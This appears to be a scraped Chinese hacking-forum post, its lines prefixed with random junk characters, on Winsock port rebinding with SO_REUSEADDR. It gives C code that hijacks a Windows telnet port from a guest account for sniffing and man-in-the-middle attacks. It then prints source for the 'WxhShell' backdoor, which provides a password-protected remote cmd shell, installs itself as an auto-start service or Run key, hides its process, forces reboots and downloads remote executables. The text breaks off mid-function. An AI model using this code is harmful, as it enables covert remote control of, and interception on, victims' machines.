在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|JP19KFx'B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<N1wET- |q58XwU ` saddr.sin_family = AF_INET;
eZaSV>27 Fs].Fa saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"VZXi_P E5$]0#jB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Pc_aEBq p[(I5p:L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_'LZf=V0 !
5NuFLOf 这意味着什么?意味着可以进行如下的攻击:
;8eKAh ]"lB!O~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Qr9;CVW d 8DU[p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
BBRL_6 Jjm#ofv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
s4~[GO6> Vv45w#w; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+.Ij%S[Px5 e=WjFnK[x7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
FO5a<6 REU," 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3f] ;y<Km pK@=]K~l0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
USEb} M` j/z=<jA #include
>m>F {v #include
L23}{P #include
w?8SQI,~X #include
;~EQS.Qp DWORD WINAPI ClientThread(LPVOID lpParam);
5$:
toL int main()
EU %,tp {
\xj;{xc WORD wVersionRequested;
+yp:douERi DWORD ret;
$2Whb!7Z( WSADATA wsaData;
4P&2Z0 BOOL val;
"FWx;65CR SOCKADDR_IN saddr;
Y @p<f5[c SOCKADDR_IN scaddr;
p 1'l D int err;
,^1zG SOCKET s;
BVw2skOT SOCKET sc;
RZzHlZ int caddsize;
n7cy[%yT HANDLE mt;
ch8a DWORD tid;
n4/Wd?#` wVersionRequested = MAKEWORD( 2, 2 );
`8ac;b err = WSAStartup( wVersionRequested, &wsaData );
f9W:-00QD if ( err != 0 ) {
kFv*>>X` printf("error!WSAStartup failed!\n");
t$18h2yOL return -1;
d )O^(y1r }
e@Lxduq saddr.sin_family = AF_INET;
=~GP;=6 (Jk&U8y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q(6.VU@ n^Ca?|}
, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Y%.o
TB& saddr.sin_port = htons(23);
nt#9j',6Rn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dRX~eIw {
}IyF|[ printf("error!socket failed!\n");
j#1G?MF return -1;
}OpUG }
N/bOl~!y val = TRUE;
u^~7[OkE //SO_REUSEADDR选项就是可以实现端口重绑定的
3m1(l?fp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q(?+01 {
rD].=.?1 printf("error!setsockopt failed!\n");
m&:&z7^p return -1;
Nmj)TOEPW }
mG jB{Q+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*M1GVhW(+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:V(LBH0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
jYHn J}< ^#HaH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#ES[),+|mB {
H<(F$7Q!\ ret=GetLastError();
p~ b4TRvA6 printf("error!bind failed!\n");
%S`&R5 return -1;
0%ul6LvM }
<RY =y?%z listen(s,2);
;
oyV8P$ while(1)
eDJnzh83 {
X0G,tl caddsize = sizeof(scaddr);
"m K`3</G //接受连接请求
N1a]y/
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gV2vwe if(sc!=INVALID_SOCKET)
2:*15RH3 {
m,k0 h% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r5}p . if(mt==NULL)
um.ZAS_kmc {
42NfD/"g+s printf("Thread Creat Failed!\n");
L ;L: break;
--K)7 }
!l (Vk }
V eGSr CloseHandle(mt);
(?jK|_ }
';tlV
u closesocket(s);
n<.7tr0f\ WSACleanup();
aZN?V}^+ return 0;
FDMQLx f }
Z hfp>D DWORD WINAPI ClientThread(LPVOID lpParam)
Uwc%'=@ {
X:GRjoa SOCKET ss = (SOCKET)lpParam;
&C9IR,& SOCKET sc;
EYT^*1,E* unsigned char buf[4096];
;6G]~}>o SOCKADDR_IN saddr;
O[ma% E*0 long num;
v$y\X3)mB DWORD val;
kE&R;T`Gb% DWORD ret;
?Mjs [| //如果是隐藏端口应用的话,可以在此处加一些判断
T:za},- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=Z\q``RBy saddr.sin_family = AF_INET;
kL'4m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~H}Z;n]H saddr.sin_port = htons(23);
OrkcY39"~a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
C4mkt2Eb0a {
[V'c printf("error!socket failed!\n");
)Te\6qM return -1;
Y&6jFT_ }
1)X|?ZD]F val = 100;
7{#p'.nc5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$--8%gh dG {
q8{Bx03m6 ret = GetLastError();
imM!Me 0TE return -1;
Z",0 $Gxu }
.I`>F/Sjr if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+^AdD8U {
E{,WpU ret = GetLastError();
2*cNd}qr return -1;
'V&g"Pb }
q[U pP`Z% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v;(cJ,l {
V IzIl\<aM printf("error!socket connect failed!\n");
C*YQ{Mz(f closesocket(sc);
(JbRhcg closesocket(ss);
+6WjOcu return -1;
dn h qg3Y }
.\b.l@O<Z while(1)
NS[ Z@@ {
7!M; ?Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gq('8*S //如果是嗅探内容的话,可以再此处进行内容分析和记录
$<-a>~^Tp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
OLG)D#m(4/ num = recv(ss,buf,4096,0);
rmjuNy=( if(num>0)
=oSD)z1c?x send(sc,buf,num,0);
,a5q62)q else if(num==0)
MHpGG00, break;
g2f"tu_/% num = recv(sc,buf,4096,0);
(Yy#:r;U if(num>0)
qsj$u-xhX send(ss,buf,num,0);
L` [iI else if(num==0)
upMs yLp( break;
Y1Ql_ }
4-bM90&1t closesocket(ss);
RPX.?;": closesocket(sc);
~BI`{/O= return 0 ;
}hn?4ny }
YIN* '!N `Am|9LOT
nS]e ==========================================================
|E6Thvl$ Ox)<"8M 下边附上一个代码,,WXhSHELL
Wps^wY X!hzpg(`hR ==========================================================
=sWK;` 'l<#;{ #include "stdafx.h"
7^>~k}H H ezbCwsx& #include <stdio.h>
U%Fa.bL~ #include <string.h>
P,8TO-e7 #include <windows.h>
BiU>h.4=\( #include <winsock2.h>
_#~D{91
j: #include <winsvc.h>
3uw3[
SR1 #include <urlmon.h>
N!7?D'y
l(1.Ll
#pragma comment (lib, "Ws2_32.lib")
5B%KiE&p #pragma comment (lib, "urlmon.lib")
xZ'C(~t 3=wcA/"! #define MAX_USER 100 // 最大客户端连接数
[Vbdsu9 #define BUF_SOCK 200 // sock buffer
\>\ERVEd #define KEY_BUFF 255 // 输入 buffer
z&9ljQ
iF whN<{AG #define REBOOT 0 // 重启
>JNdtP8s/1 #define SHUTDOWN 1 // 关机
CL7_3^2qI 3_RdzW}f #define DEF_PORT 5000 // 监听端口
!}}
)f/ K7s[Fa6J #define REG_LEN 16 // 注册表键长度
2a-]TVL3 #define SVC_LEN 80 // NT服务名长度
jct=Nee| odL*_<Z // 从dll定义API
8}BM`@MG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1#L%Q(G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
P:Q&lnC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
dOaOWMrfdf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2(uh7#Q y=Eb->a){ // wxhshell配置信息
3B]E2 struct WSCFG {
*QN,wBQ int ws_port; // 监听端口
XnYX@p char ws_passstr[REG_LEN]; // 口令
/QB;0PrE int ws_autoins; // 安装标记, 1=yes 0=no
?yG[VW char ws_regname[REG_LEN]; // 注册表键名
"Pc}-& char ws_svcname[REG_LEN]; // 服务名
JV,h1/a(" char ws_svcdisp[SVC_LEN]; // 服务显示名
|a)zuC char ws_svcdesc[SVC_LEN]; // 服务描述信息
# a4OtRiI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6lpJ+A57# int ws_downexe; // 下载执行标记, 1=yes 0=no
$J4)z&%dr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[kkhVi5;A char ws_filenam[SVC_LEN]; // 下载后保存的文件名
a?ete9Q+ T:
My3&6 };
C6g p}% (-J'x%2) // default Wxhshell configuration
aY4v'[ struct WSCFG wscfg={DEF_PORT,
X#by Dg "xuhuanlingzhe",
mCn:{G8+ 1,
.Tl,Ek( "Wxhshell",
~zZOogM< "Wxhshell",
^$`mS&3/q "WxhShell Service",
;[4=?GL* "Wrsky Windows CmdShell Service",
Fsl="RB7f "Please Input Your Password: ",
Ze/\IBd 1,
\R9izuc9 "
http://www.wrsky.com/wxhshell.exe",
[zl4"|_` "Wxhshell.exe"
ES^JRX };
u[SqZftmO du0o4~- // 消息定义模块
ld"rL6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
By9CliOy: char *msg_ws_prompt="\n\r? for help\n\r#>";
7'At_oG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
EajJv>X7 char *msg_ws_ext="\n\rExit.";
d %FLk=] char *msg_ws_end="\n\rQuit.";
7z{N} char *msg_ws_boot="\n\rReboot...";
Cj }H'k<B char *msg_ws_poff="\n\rShutdown...";
(:]+IjnE char *msg_ws_down="\n\rSave to ";
*"OlO}o *N: $,xf char *msg_ws_err="\n\rErr!";
E>/~: char *msg_ws_ok="\n\rOK!";
5MYdLAjV #""T>+ char ExeFile[MAX_PATH];
1.N2!:&G| int nUser = 0;
>Q_
'[!S HANDLE handles[MAX_USER];
W8x&:5Fc)3 int OsIsNt;
Xhyn! &H5 VcsMDa SERVICE_STATUS serviceStatus;
\-Xtbm SERVICE_STATUS_HANDLE hServiceStatusHandle;
?v:FGO Z{t `f[ // 函数声明
)n<p_vz int Install(void);
_PGd\>Ve int Uninstall(void);
W!"QtEJ, int DownloadFile(char *sURL, SOCKET wsh);
V60"j( int Boot(int flag);
[zq2h3r void HideProc(void);
T#6g5Jnsp int GetOsVer(void);
Kwm_Y5`A int Wxhshell(SOCKET wsl);
X.
Ur`X void TalkWithClient(void *cs);
LN.*gGl int CmdShell(SOCKET sock);
\N-3JO Vy int StartFromService(void);
F+NX
[ int StartWxhshell(LPSTR lpCmdLine);
U8gj\G\` 3mopTzs) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R'vNJDFY VOID WINAPI NTServiceHandler( DWORD fdwControl );
!?).4yr [+l6x1Am // 数据结构和表定义
j( k%w SERVICE_TABLE_ENTRY DispatchTable[] =
Jqgm>\y {
0 ;)Q {wscfg.ws_svcname, NTServiceMain},
- q(a~Ge {NULL, NULL}
k;JDVRL };
-{C Gn5]_# ShlTMTgS // 自我安装
gm-9 oA
X int Install(void)
h-O;5.m-P {
_iDVd2X"H char svExeFile[MAX_PATH];
R
i,_x HKEY key;
(GGosXU-v strcpy(svExeFile,ExeFile);
(~bx % _<F;&(o // 如果是win9x系统,修改注册表设为自启动
N^wHO<IO1 if(!OsIsNt) {
=j~:u.hc' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j+dQI_']x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;;
{K##^l RegCloseKey(key);
N(yd<Mw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q}l~n)= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lup2>"?* RegCloseKey(key);
bZAL~z+ V return 0;
IsJx5GO }
PJ?C[+& }
oclU)f., }
SO STtuT else {
Ahba1\,N$ 9LBZMQ // 如果是NT以上系统,安装为系统服务
Dm}M8`|X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zkqn>
if (schSCManager!=0)
F#)bGi {
~#P]NWW%. SC_HANDLE schService = CreateService
fI<d&5&g (
]91QZ~4a schSCManager,
^Z\"d#A wscfg.ws_svcname,
.p o,.} wscfg.ws_svcdisp,
&Ruq8n< SERVICE_ALL_ACCESS,
'/X]96Ci7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!J!&JQ| SERVICE_AUTO_START,
_emW#*V SERVICE_ERROR_NORMAL,
n53c}^ svExeFile,
3HuGb^SNg NULL,
6rD]6#D NULL,
nN-S5?X# NULL,
xs Pt NULL,
)[M:#;,L NULL
olL? 6)gC );
1ZRkVHiz0 if (schService!=0)
q
&{<HcP {
X's<+hK& CloseServiceHandle(schService);
ZvT>A#R;l~ CloseServiceHandle(schSCManager);
S-Bx`e9 ' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YHu]\'Ff strcat(svExeFile,wscfg.ws_svcname);
goF87^M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[eOv fD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v4'kV:;& RegCloseKey(key);
,d* hhe
return 0;
1iLU{m9 }
L1DH9wiQi }
1kvs2 CloseServiceHandle(schSCManager);
#,6T. O }
u-:3C<&> }
; Ad5Jk 5F
^VvzNn return 1;
Ks6\lpr }
/Yg&:@L S ++~w9} // 自我卸载
1 JIU5u) int Uninstall(void)
?YS 3) {
SA=>9L,2 HKEY key;
v*dw'i :Y1;= W if(!OsIsNt) {
'6>*J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
es x/{j;<u RegDeleteValue(key,wscfg.ws_regname);
SZ$WC8AX RegCloseKey(key);
1 0c.#9$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
).(y#zJ7P RegDeleteValue(key,wscfg.ws_regname);
^->S7[N? RegCloseKey(key);
:E~rve' return 0;
#RU8yT }
m~Q24Z]!'& }
NT5'U }
j4#uj[A else {
PR$;*|@ Qs59IZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
gOW8!\V if (schSCManager!=0)
Hk h'h"_r {
cgQ6b. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Myiv#rQ) if (schService!=0)
66" 6> {
iT,7jd?6# if(DeleteService(schService)!=0) {
2E!~RjxSY CloseServiceHandle(schService);
w(
XZSE CloseServiceHandle(schSCManager);
SUUN_w~ return 0;
4sn\UuKyL }
?7LvJ8 CloseServiceHandle(schService);
*x;4::'Jn }
^IIy> CloseServiceHandle(schSCManager);
v}V[sIs} }
h"0)spF"d }
hEsiAbTyF C}Kl! return 1;
+FqE fY4j }
F N=WU<
5 $GGaR x // 从指定url下载文件
y*-_ int DownloadFile(char *sURL, SOCKET wsh)
fPPP| {
SZHgXl3: HRESULT hr;
pWJEFm char seps[]= "/";
(?zD!%
k char *token;
<"P-7/j3j char *file;
hdrsa}{g char myURL[MAX_PATH];
p&]V!O char myFILE[MAX_PATH];
1hGj?L0m. X<[ qX* strcpy(myURL,sURL);
|3@DCbT token=strtok(myURL,seps);
9_O4yTL while(token!=NULL)
23>[-XZb[O {
lNa+NtQu file=token;
1nskf*Z token=strtok(NULL,seps);
%>i:C-l8 }
y*vSt^ PMB4]p%o GetCurrentDirectory(MAX_PATH,myFILE);
ow3.jHsLA strcat(myFILE, "\\");
}shxEsq strcat(myFILE, file);
~qGW94 send(wsh,myFILE,strlen(myFILE),0);
@CL#B98jl send(wsh,"...",3,0);
1H/I- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'EAskA]* if(hr==S_OK)
g;8 wP5i return 0;
_J W|3q else
er)I ".| return 1;
B<m0YD?>~> 0zq'Nf?#3 }
S\&3t}_ `;;l {8 // 系统电源模块
5j1d=h int Boot(int flag)
NBc^(F" {
Ws@'2i\; HANDLE hToken;
SNH 3C1 TOKEN_PRIVILEGES tkp;
L8PX SJ tMiIlf!>p if(OsIsNt) {
Ls9NQy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~!r;?38V` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
NSB6 2 tkp.PrivilegeCount = 1;
Kh(`6 f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`/P/2{,~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Wa<<"x$ if(flag==REBOOT) {
i!?gga if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`9J9[!+!` return 0;
_2hLc\# }
8aP/vToa else {
mSxn7LG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HN{c)DIm] return 0;
~dRstH7u }
e;6KxvX~ }
SE]5cJ'> else {
4F~^RR" if(flag==REBOOT) {
3Hom0g,V4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
w#9KtW,tt return 0;
=L" 0]4K }
:V)jm`)#+ else {
^}d]O( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P6 OnE18n return 0;
-Qn7+?P }
"+"=iwEAz }
:/;/mHG] XZM3zlg* return 1;
FI$:R }
Lqj
Qv$ S 13cQ?4 // win9x进程隐藏模块
Y$r78h=4 void HideProc(void)
|:=o\eu& {
~-BF7f6C ~y!'\d>q< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\j>7x if ( hKernel != NULL )
((k"*f2% {
yJm"vN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m.e]tTe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}Q/onBt FreeLibrary(hKernel);
n~* ".ZC'Y }
=^nb+}Nz( fe?Z33V return;
az(<<2= }
(CmK>"C+ >M,oyM"s // 获取操作系统版本
R2~Tr$: int GetOsVer(void)
+T+@g8S {
h4?x_"V" OSVERSIONINFO winfo;
FRBu8WW0L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
n{;j GetVersionEx(&winfo);
)u)=@@k21 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&7aWVKon return 1;
x%G3L\5 else
L[G O6l return 0;
??rS h Mu }
o%$.8)B9F ?['!0PF // 客户端句柄模块
}vd*eexA int Wxhshell(SOCKET wsl)
SiratkP9n7 {
SAx9cjj+ SOCKET wsh;
]k0
jmE struct sockaddr_in client;
NK_|h% DWORD myID;
kXMp()N8` G'ykcB._ while(nUser<MAX_USER)
:gh[BeqQ) {
?{{w[U6NE int nSize=sizeof(client);
|cPHl+$nh. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
k9^Hmhjw if(wsh==INVALID_SOCKET) return 1;
%@/^UE: P#,u9EIJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XIeLu"TSL if(handles[nUser]==0)
~Iu! B
Y closesocket(wsh);
ggr else
\hB BG8=& nUser++;
<uH8Fivb }
`FP?9R6Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
WNjwv/ kN1MPd4Yh return 0;
NO"PO
@&Wk }
Ccf/hA#mb +eM${JyXH // 关闭 socket
XpIiJry!6 void CloseIt(SOCKET wsh)
*z=_sD?1 {
wbO6Ag@)) closesocket(wsh);
C6_(j48& nUser--;
?Ec9rM\ze ExitThread(0);
RU )35oEV| }
Y?VbgOM) woYD &Oml // 客户端请求句柄
C$3*[ void TalkWithClient(void *cs)
T(4d5 fY {
]T4/dk&|o^ 'Ts:. SOCKET wsh=(SOCKET)cs;
qS!r<'F3dP char pwd[SVC_LEN];
)?L=o0 char cmd[KEY_BUFF];
`zwz char chr[1];
yzA05 npTl int i,j;
GP|=4T}Bf h~MV=7
lE while (nUser < MAX_USER) {
Zo9<96I& JE?p'77C if(wscfg.ws_passstr) {
V|7YRa@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L+%"ew //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vh9* >[i //ZeroMemory(pwd,KEY_BUFF);
=P-&dN i=0;
`+JFvn! while(i<SVC_LEN) {
1SQATUV gt&|T
j // 设置超时
~}/Dl#9R! fd_set FdRead;
wucdXj{% struct timeval TimeOut;
o_b[ * FD_ZERO(&FdRead);
cPGlT" FD_SET(wsh,&FdRead);
|m19fg3u TimeOut.tv_sec=8;
TBhM^\z TimeOut.tv_usec=0;
"q4tvcK. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B{-7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
D7ex{SVA) $6QIYF"" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R#(0C(FI^ pwd
=chr[0]; F /b`[
if(chr[0]==0xd || chr[0]==0xa) { X>%nzY]m
pwd=0; 3P>gDQP
break; _`$LdqgE
} )vr@:PE
i++; J(
}2Ua_
} @u3`lhUcT
^6 6!f 5^W
// 如果是非法用户,关闭 socket H^_,e= j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N!A20Bv
} tiK?VwaKI
s>rR\`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ejRK-!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ajbe7#}
i jI/z5
while(1) { L\yVE
J9x
y>{:[L9*
ZeroMemory(cmd,KEY_BUFF); :fRXLe1=
mp|pz%U
// 自动支持客户端 telnet标准 -@uFRQt
j=0; b^Hrzn
while(j<KEY_BUFF) {
idmU.`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QbU5FPiN
cmd[j]=chr[0]; B(
[x8A]
if(chr[0]==0xa || chr[0]==0xd) { yTaMlT|
cmd[j]=0; -H1=N
break; @WJ;T= L
} oL4W>b )
j++; We+rFk1ddt
} fJ,N.O+9E
8$Q`wRt(%
// 下载文件 l=^A41L_
if(strstr(cmd,"http://")) { vccWe7rh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LyUn!zV$(
if(DownloadFile(cmd,wsh)) BEZ~<E&0H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?bV\/GBR
else &9k~\;x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); urp|@WZ
} `s}*
else { p<R:[rz
fBO/0uW
switch(cmd[0]) { r4.6W[|d
T&U}}iWN
// 帮助 eK8H5YE
case '?': { e~h>b.~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); owVvbC2<b(
break; H$6RDMU
} wNONh`b
// 安装 ,'NasL8?We
case 'i': { vwR_2u
if(Install()) 5<?Ah+1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 337.' |ZE
else ROO*/OOd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?7{U=1gb$
break; 5Z=4%P*I
} f^%3zWp|-
// 卸载 EZtU6kW"
case 'r': { A`c22Ls]
if(Uninstall()) ,"qCz[aDN1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *miG<
else [|\6AIoS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GR,2^]<{
break; $+gQnI3w
} Ht`fC|E
// 显示 wxhshell 所在路径 0'q4=!l
case 'p': { C|{Sj`,XG
char svExeFile[MAX_PATH]; PjQl(v&O
strcpy(svExeFile,"\n\r");
l\U
Q2i
strcat(svExeFile,ExeFile); 37bMe@W
send(wsh,svExeFile,strlen(svExeFile),0); Iil2R}1
break; WR+j?Fcf
} !0
7jr%-~
// 重启 d[9,J?'OQ
case 'b': { s"L&y <?)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Xg.,kW
if(Boot(REBOOT)) >OG189O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%&FLdXgW+
else { ~Ps *i]n(
closesocket(wsh); GT>'|~e
ExitThread(0); <J%qzt}
} T/$gnn
break; w+$$uz
} i Ad&o`C
// 关机 2w>%-_]u+
case 'd': { W 4{ T<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ET*A0rt
if(Boot(SHUTDOWN)) .[={Yx0!I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%,X),%-
else { SA,~q&
closesocket(wsh); t@KTiJI
]
ExitThread(0); q|5WHB
} a=S &r1s>
break; Z'o0::k
} /08FV|tX)
// 获取shell 2:LUB)&i
case 's': { >}k*!J|
CmdShell(wsh); )! [B(
closesocket(wsh); #83
ExitThread(0); @kXuC<
break; =dm9+ff
} LpHGt]|D
// 退出 L
K&c~
Uy
case 'x': { j/v>,MM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P0N/bp2Uy
CloseIt(wsh); /Qgb t
break; Z;+,hR ((
} tpI/Ibq
// 离开 hvt]VC]]
case 'q': { tqZ91QpW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s/1r{;q
closesocket(wsh); 88Pt"[{1
WSACleanup(); hV3]1E21"
exit(1); ]4rmQAS7"
break; Q`CuZkP(
} 3G// _f
} mR}8} K]L
} )L<.;`g4x
q NGR6i
// 提示信息 4S(G366
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6v@Prw@.b
} R P{pEd
} Owp]>e
]36SF5<0r
return; ?Ld),A/c
} ~B<\#oO
eDd&vf
// shell模块句柄 #y\O+\4e
int CmdShell(SOCKET sock) &Vj@){
{ $.,PteYK
STARTUPINFO si; [[T7s(3
ZeroMemory(&si,sizeof(si)); ueg%yvO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Y xG
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l@Lk+-[D
PROCESS_INFORMATION ProcessInfo; 6O4*OR<&
char cmdline[]="cmd"; iBE|6+g~Cj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4DIU7#GG
return 0; piIZ*@'
} t%@iF
U;}
b~;:[ #
// 自身启动模式 tmGhJZ2j
int StartFromService(void) GEPWb[Oa
{ `n+uA~
typedef struct !&%KJS6p4
{ RqROl!6
DWORD ExitStatus; <h(AJX7wsD
DWORD PebBaseAddress; fWP]{z`
DWORD AffinityMask; cfmwz~S6i
DWORD BasePriority; p5In9s
ULONG UniqueProcessId; BDt$s(
\
